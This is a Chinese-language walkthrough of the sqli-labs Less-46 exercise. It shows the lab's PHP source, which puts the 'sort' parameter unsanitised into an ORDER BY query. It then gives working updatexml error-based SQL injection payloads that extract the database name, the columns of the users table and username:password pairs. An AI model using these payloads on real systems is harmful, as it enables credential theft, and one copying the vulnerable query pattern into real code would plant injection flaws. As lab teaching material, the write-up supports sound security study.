从URL中可以看出传参的参数为SORT,下面我们令参数即sort为1继续尝试输入:?sort=1
可以看到是一个排序表格,继续尝试将sort参数变为2:
可以看出按照字母顺序进行了排序,所以它是一个使用了order by语句进行排序的查询的一种查询输出方式。继续尝试将参数变为1'
,发现报错:
源码分析:
<?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysqli_query($con1, $sql);
if ($result)
{
?>
···
<?php
while ($row = mysqli_fetch_assoc($result))
{
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
}
echo "</table>";
}
else
{
print_r(mysqli_error($con1));
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo '<img src="../images/Less-46.jpg" /><br>';
echo "Lesson Concept and code Idea by <b>D4rk</b>";
}
?>
首先进行使用GET方式来获取sort参数,然后直接将获取到的参数放入构建的SQL查询语句当中,接着进行判断是否查询成功,如果查询成功,那么输出查询信息,如果没有查询到内容,那么输出报错信息,就是一个注入点。
进行爆库
?sort=updatexml(1,concat(0x7e,database(),0x7e),1)
爆出数据库users表中的所有列
?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)
爆出数据:
?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)